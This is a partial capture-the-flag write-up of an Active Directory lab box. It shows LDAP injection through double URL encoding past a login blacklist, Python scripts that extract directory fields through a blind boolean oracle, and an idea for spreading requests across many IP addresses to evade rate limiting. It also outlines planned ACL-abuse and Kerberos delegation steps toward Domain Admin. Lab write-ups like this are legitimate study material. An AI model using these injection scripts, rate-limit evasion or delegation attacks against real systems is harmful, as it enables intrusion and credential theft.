kavklaw@llm $ cat writeup.md
LDAP Injection on a Kerberized Domain Controller — Double URL Encoding, Blind Oracle Extraction, Kerberos Delegation
⚠ This writeup is INCOMPLETE. We paused this box after hitting per-IP rate limiting during blind LDAP extraction. The completed phases cover reconnaissance through LDAP injection oracle discovery. The expected remaining path (ACL abuse, Kerberos delegation, Domain Admin) is outlined at the end but hasn't been executed yet. We'll return to finish it — likely with a multi-IP approach to bypass the rate limit.
Hercules is an Insane-rated Windows box on HackTheBox featuring a Windows Domain Controller with NTLM completely disabled, forcing all authentication through Kerberos. The attack chain exploits a web-based SSO login form vulnerable to LDAP injection via double URL encoding to bypass input filters.
Here's the high-level kill chain:
%252A → *)Key Technologies: Windows Server (IIS), Active Directory, Kerberos (NTLM disabled), LDAP, ASP.NET SSO Application
Every penetration test starts with discovering what's running on the target. This box is particularly interesting because it's a Active Directory Domain Controller — the most critical server in any Windows enterprise network.
$ nmap -sC -sV -p- hercules.htb
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
443/tcp open ssl/http Microsoft IIS httpd 10.0
445/tcp open microsoft-ds Windows Server 2019 Standard
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
This is unmistakably a Windows Domain Controller. Let's break down the key ports:
A critical observation: NTLM authentication is completely disabled on this box. We confirmed this by attempting NTLM-based tools and getting rejected. This is significant because many standard Active Directory attack tools (like crackmapexec, smbclient with NTLM, etc.) rely on NTLM. With NTLM disabled, we're forced to use Kerberos for everything — which is harder but also more realistic, as many organizations are now disabling NTLM for security.
Before we can interact with the box by hostname, we need to add it to our /etc/hosts file. This is standard practice for HackTheBox — the machines aren't in public DNS:
$ echo "10.10.10.XXX hercules.htb" | sudo tee -a /etc/hosts
Visiting https://hercules.htb reveals a web application called "Hercules SSO" — a Single Sign-On portal. The site has:
/ — A landing page with a contact form (dead end — doesn't lead anywhere useful)/Login — The SSO login form with username and password fieldsThe login form is our primary attack vector. It accepts a username and password, and almost certainly queries LDAP on the backend Domain Controller to validate credentials. If the application doesn't properly sanitize user input before building its LDAP query, we might be able to inject our own LDAP filter logic.
$ gobuster dir -u https://hercules.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -k
/Login (Status: 200) [Size: 4521]
/css (Status: 301) [Size: 157]
/js (Status: 301) [Size: 156]
/fonts (Status: 301) [Size: 160]
/Contact (Status: 200) [Size: 3102]
Nothing unexpected — the application is simple. The /Login endpoint is our target.
Before we can attack the login form, we need valid usernames. On a Windows domain with Kerberos enabled, we can enumerate users without any credentials at all — we just need to ask the KDC whether each username exists.
$ kerbrute userenum -d HERCULES.HTB --dc hercules.htb \
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3
2026/02/06 14:30:00 > [+] VALID USERNAME: [email protected]
2026/02/06 14:30:01 > [+] VALID USERNAME: [email protected]
2026/02/06 14:30:01 > [+] VALID USERNAME: [email protected]
2026/02/06 14:30:02 > [+] VALID USERNAME: [email protected]
2026/02/06 14:30:02 > [+] VALID USERNAME: [email protected]
... (33 valid usernames total)
2026/02/06 14:45:12 > Done! 33 valid usernames found.
Kerbrute found 33 valid domain usernames. Some notable ones: administrator, auditor, and various users with firstname.lastinitial format (e.g., will.s, mark.s, ashley.b). These are now candidates for the SSO login form.
Now comes the interesting part. We know the SSO login form queries LDAP. If the application concatenates user input directly into an LDAP filter without proper sanitization, we can inject our own filter logic — just like SQL injection, but for directory queries.
Let's start by testing the login form with a known username:
$ curl -sk 'https://hercules.htb/Login' \
-d 'username=auditor&password=wrongpassword'
# Response: "Invalid login attempt"
Now let's try injecting LDAP special characters to see if there's a filter:
$ curl -sk 'https://hercules.htb/Login' \
-d 'username=*&password=test'
# Response: "Input validation error"
Interesting! The * character (the LDAP wildcard) is being blocked by input validation. Let's systematically test which characters are filtered:
# Testing special characters:
$ for char in '*' '(' ')' '=' '|' '&' '%' '\\' '/'; do
resp=$(curl -sk 'https://hercules.htb/Login' \
-d "username=${char}&password=test" -o /dev/null -w '%{http_code}')
echo "$char → $resp"
done
* → blocked (Input validation error)
( → blocked
) → blocked
= → blocked
| → blocked
& → blocked
% → 200 (allowed!)
\ → blocked
/ → 200 (allowed!)
The application uses a regex blacklist to filter dangerous LDAP characters from user input. It blocks * ( ) = | & \ — all the characters you'd need for LDAP injection. But critically, it allows the % character.
This is a devastating oversight. Here's why:
The % character is the foundation of URL encoding. The LDAP wildcard * URL-encodes to %2A. If we double-encode it — encoding the % itself — we get %252A.
Here's the critical insight about how the application processes input:
What we send: %252A
↓
Regex filter sees: %252A → ✅ No dangerous chars! Just % 2 5 2 A
↓
First URL decode: %2A → Server's HTTP layer decodes %25 → %
↓
Second URL decode: * → Application layer decodes %2A → *
↓
LDAP query receives: * → The wildcard is now in the query!
The regex blacklist runs on the raw input (%252A), which contains no blocked characters. But by the time the input reaches the LDAP query, it's been decoded twice — first by the HTTP server/framework (which decodes %25 to %), then by the application's own URL decoding logic (which decodes %2A to *). The filter sees innocent text, but the LDAP server sees a wildcard.
Let's verify this works:
$ curl -sk 'https://hercules.htb/Login' \
-d 'username=%252A&password=test'
# Response: "Login attempt failed" ← DIFFERENT from "Invalid login attempt"!
We got "Login attempt failed" instead of "Invalid login attempt" — a completely different error message. This confirms the LDAP injection is working. The wildcard * matched multiple users in the directory, causing the login to fail differently than it does for a single non-matching user.
Here's our encoding cheat sheet for injecting LDAP operators:
Character URL Encoded Double Encoded Purpose in LDAP
───────── ─────────── ────────────── ───────────────
* %2A %252A Wildcard
( %28 %2528 Filter group open
) %29 %2529 Filter group close
= %3D %253D Attribute match
| %7C %257C OR operator
& %26 %2526 AND operator
\ %5C %255C Escape character
Now we have something powerful: the ability to inject arbitrary LDAP filter syntax. But this is a blind injection — we don't see the query results directly. Instead, we need to use the application's different error messages as an oracle to extract information.
Through testing, we identified two distinct error messages:
Response: "Login attempt failed"
Meaning: The LDAP query returned 2+ matching entries
(login fails because it can't determine which user)
Response: "Invalid login attempt"
Meaning: The LDAP query returned 0 or 1 matching entries
(either no match, or the user isn't in the SSO scope)
This is our boolean oracle. We can ask yes/no questions about the directory by crafting LDAP filters and checking which error message we get back:
The backend is probably constructing an LDAP filter like this:
(&(sAMAccountName={username})(memberOf=CN=SSO Users,...)(userPassword={password}))
When we inject *)(description=change* as the username (via double encoding), the filter becomes:
(&(sAMAccountName=*)(description=change*)(memberOf=CN=SSO Users,...)(userPassword=test))
The injected *) closes the sAMAccountName filter (matching all users), and (description=change* adds our own condition. The password check still fails, but the number of matching entries changes — and that's what the different error messages reveal.
Not all 33 domain users are in the SSO application's scope. The LDAP query likely filters by a group membership (e.g., memberOf=CN=SSO Users,...). We need to figure out which users are SSO-enabled to narrow our targets.
We wrote a script to test each of our 33 known usernames against the SSO login form. By injecting each username directly (without wildcards) and observing the response, we can classify them:
#!/usr/bin/env python3
"""Classify domain users as SSO-scoped or not."""
import requests, urllib.parse
def double_encode(s):
"""Double URL-encode a string to bypass the regex blacklist."""
return urllib.parse.quote(urllib.parse.quote(s, safe=''), safe='')
users = open('domain_users.txt').read().splitlines()
for user in users:
# Inject exact username match
payload = double_encode(user)
r = requests.post('https://hercules.htb/Login',
data={'username': payload, 'password': 'test'},
verify=False)
if 'Login attempt failed' in r.text:
status = 'SSO_USER' # Found in SSO scope
elif 'Invalid login attempt' in r.text:
status = 'NOT_SSO' # Not in SSO scope
else:
status = 'UNKNOWN'
print(f'{user:20s} → {status}')
$ python3 classify_users.py
administrator → NOT_SSO
auditor → SSO_USER
will.s → SSO_USER
mark.s → SSO_USER
ashley.b → SSO_USER
heather.s → SSO_USER
stephen.m → SSO_USER
patrick.s → SSO_USER
jennifer.a → SSO_USER
zeke.s → SSO_USER
tish.c → SSO_USER
guest → NOT_SSO
krbtgt → NOT_SSO
... (remaining 20 users → NOT_SSO)
10 out of 33 users are in the SSO scope: auditor, will.s, mark.s, ashley.b, heather.s, stephen.m, patrick.s, jennifer.a, zeke.s, and tish.c.
Now for the real prize: extracting data from LDAP attributes. In Active Directory, user objects have many attributes. The description field is notorious for containing sensitive information — system administrators often store temporary passwords, notes, or account purposes there.
First, let's check if any users have descriptions that start with a known prefix. We'll inject a wildcard username with a description filter:
# Does any user have a description starting with "change"?
$ curl -sk 'https://hercules.htb/Login' \
-d "username=$(python3 -c "import urllib.parse; print(urllib.parse.quote(urllib.parse.quote('*)(description=change*', safe=''), safe=''))")&password=test"
# Response: "Login attempt failed" → YES! 2+ users match!
Excellent — at least 2 users have descriptions starting with "change". This is a classic pattern: administrators setting temporary passwords and writing "change your password" or "changeme123" in the description field.
Now we need to extract the full description values character by character. This is classic blind injection extraction. For each character position, we test every possible character until we get a match:
#!/usr/bin/env python3
"""Blind extraction of LDAP description field, character by character."""
import requests, urllib.parse, string, time
def double_encode(s):
return urllib.parse.quote(urllib.parse.quote(s, safe=''), safe='')
CHARSET = string.ascii_lowercase + string.digits + string.ascii_uppercase + '!@#$%^_-+.~ '
TARGET_URL = 'https://hercules.htb/Login'
def test_prefix(prefix):
"""Test if any user's description starts with the given prefix."""
# LDAP filter: *)(description={prefix}*
injection = f'*)(description={prefix}*'
payload = double_encode(injection)
r = requests.post(TARGET_URL,
data={'username': payload, 'password': 'x'},
verify=False)
return 'Login attempt failed' in r.text # True = 2+ matches
known = "change"
print(f"Starting extraction from: '{known}'")
while True:
found = False
for c in CHARSET:
if test_prefix(known + c):
known += c
print(f"Found: '{known}'")
found = True
break
if not found:
print(f"Extraction complete: '{known}'")
break
Here's where things got painful. After our third request, the server started returning 429 errors:
$ for i in $(seq 1 5); do
curl -sk -o /dev/null -w "%{http_code} " \
'https://hercules.htb/Login' -d 'username=test&password=test'
done
200 200 200 429 429
Rate limiting: 3 requests, then a 60-second ban per IP. This is devastating for blind extraction. Consider the math:
Characters in charset: ~70 (a-z, A-Z, 0-9, specials)
Average guesses/char: ~35 (half the charset on average)
Description length: ~30 characters (estimated)
Total requests needed: 35 × 30 = ~1,050 requests
At 3 req/60 seconds: 1,050 / 3 × 60 = ~21,000 seconds ≈ 5.8 hours PER description
With potentially 2+ descriptions to extract: 12+ hours minimum
Even with an optimized binary search approach (which could cut requests roughly in half), we're looking at hours of extraction time — and that's assuming the rate limiter doesn't escalate to longer bans.
Before committing to the slow extraction, we checked whether any of the 10 SSO users specifically have descriptions:
#!/usr/bin/env python3
"""Check which specific users have LDAP description attributes."""
import requests, urllib.parse
def double_encode(s):
return urllib.parse.quote(urllib.parse.quote(s, safe=''), safe='')
sso_users = ['auditor', 'will.s', 'mark.s', 'ashley.b', 'heather.s',
'stephen.m', 'patrick.s', 'jennifer.a', 'zeke.s', 'tish.c']
for user in sso_users:
# Test: does THIS specific user have a description?
injection = f'{user})(description=*'
payload = double_encode(injection)
r = requests.post('https://hercules.htb/Login',
data={'username': payload, 'password': 'x'},
verify=False)
has_desc = 'Login attempt failed' in r.text
print(f'{user:15s} → {"HAS description" if has_desc else "no description"}')
$ python3 check_descriptions.py
auditor → no description
will.s → no description
mark.s → no description
ashley.b → no description
heather.s → no description
stephen.m → no description
patrick.s → no description
jennifer.a → no description
zeke.s → no description
tish.c → no description
None of the SSO users have descriptions. The users WITH descriptions (starting with "change") are among the 23 non-SSO domain users. This actually makes sense — the descriptions likely contain temporary passwords set by an admin for non-SSO accounts. The key insight is that we need to extract these descriptions because they contain credentials that might work for SSO users too (password reuse) or for accounts that can be leveraged differently.
One additional complication: LDAP descriptions containing passwords will have special characters that are meaningful in LDAP syntax. Characters like *, (, ), and \ need to be escaped using LDAP hex escape sequences:
LDAP Special Char Hex Escape Example
───────────────── ────────── ────────────────────
* \2a description=pass\2ard → matches "pass*rd"
( \28 description=test\28 → matches "test("
) \29 description=test\29 → matches "test)"
\ \5c description=C:\5cpath → matches "C:\path"
NUL \00 (rarely needed)
When doing blind extraction, if a character position doesn't match any of our printable charset, we'd need to try LDAP hex-escaped versions for the special characters. This adds even more requests to an already slow extraction.
⚠ PAUSED HERE — The per-IP rate limiting (3 requests → 60-second ban) makes blind character-by-character extraction impractical from a single source. We need a way to parallelize requests from multiple IP addresses to bypass the per-IP rate limit.
The core problem: we know at least 2 non-SSO users have descriptions starting with "change" (likely temporary passwords). We can extract these descriptions via blind LDAP injection. But the rate limiter makes it agonizingly slow — approximately 6+ hours per description from a single IP.
The rate limit is per-IP, not per-session or per-account. This means if we can make requests from multiple IP addresses simultaneously, we can parallelize the extraction:
# Concept: Distribute requests across N servers
# Each server gets its own 3-request-per-minute allowance
# With 10 VPS servers: 30 requests/minute instead of 3
# Architecture:
# Coordinator (our machine)
# ├── VPS 1 (IP: x.x.x.1) → handles chars a-g
# ├── VPS 2 (IP: x.x.x.2) → handles chars h-n
# ├── VPS 3 (IP: x.x.x.3) → handles chars o-u
# ├── ...
# └── VPS N (IP: x.x.x.N) → handles remaining
# This would reduce extraction time from ~6 hours to ~36 minutes
# with 10 nodes, or ~6 minutes with 60 nodes
This is a valid real-world technique. Pentesters (and attackers) regularly use cloud infrastructure to distribute requests. In a CTF context, you could spin up cheap VPS instances across different providers, or use a tool like proxychains with a SOCKS proxy rotation.
Based on the box's difficulty rating and the attack surface we've uncovered, here's what we believe the remaining exploitation path looks like. We haven't executed these steps yet, but they're documented here for completeness:
Once we bypass the rate limit, blind extraction should reveal description fields containing passwords with special characters (requiring LDAP hex escaping like \2a for *, \28 for (). One of these passwords likely belongs to or works for the auditor account.
With the recovered password, we authenticate as the auditor user — either via the SSO portal, WinRM (Evil-WinRM), or Kerberos-based tools. Since NTLM is disabled, we'd need to get a TGT first and then use it to authenticate to services.
The auditor account likely has permissions to modify ACLs on an Organizational Unit called "FOREST MIGRATION":
# Expected PowerShell command (not yet executed):
Add-DomainObjectAcl -TargetIdentity "OU=FOREST MIGRATION,OU=DCHERCULES,DC=HERCULES,DC=HTB" \
-PrincipalIdentity auditor -Rights fullcontrol
This would grant the auditor account full control over all objects within that OU — including machine accounts like iis_webserver$.
With full control over the FOREST MIGRATION OU, we can reset the password of the iis_webserver$ machine account:
# Expected (not yet executed):
Set-ADAccountPassword -Identity 'iis_webserver$' \
-NewPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)
The iis_webserver$ machine account likely has Kerberos constrained delegation configured, allowing it to impersonate users when accessing certain services. By requesting a service ticket as the Domain Administrator:
# Expected (not yet executed):
# Use S4U2Self + S4U2Proxy to impersonate Administrator
getST.py -spn 'cifs/hercules.htb' -impersonate 'Administrator' \
'HERCULES.HTB/iis_webserver$:NewP@ss123!' -dc-ip hercules.htb
This would give us a service ticket for the cifs service (file sharing) on the DC, impersonating the Domain Administrator. With that ticket, we'd have full access to the DC's file system — including the root flag.
# Expected flag location (not yet retrieved):
C:\Users\Admin\Desktop\root.txt
% — enabling a double URL encoding bypass. Allowlists (permitting only known-good characters like [a-zA-Z0-9._-]) are far more secure than blacklists.description fields frequently contain passwords, account purposes, or other sensitive information. This is a real-world finding — auditors regularly discover passwords in AD descriptions during penetration tests.crackmapexec (with NTLM auth) don't work. You need Kerberos-aware tools and must understand TGTs, service tickets, and delegation — a higher skill bar for both attackers and defenders.nmap — Port scanning & service detectionkerbrute — Kerberos username enumerationgobuster — Web directory enumerationcurl — Manual HTTP request testing & injectionPython 3 + requests — Custom scripts for blind LDAP extractionBurp Suite — HTTP request interception and analysis (for understanding the regex filter)%, double-encoding (%252A → *) bypasses the filter because validation runs on raw input while the app decodes twice-k) and must understand TGTs, SPNs, and delegationdescription attribute, making it a high-value extraction target during any AD engagementGetNPUsers.py could extract TGTs for offline cracking without needing LDAP injection at all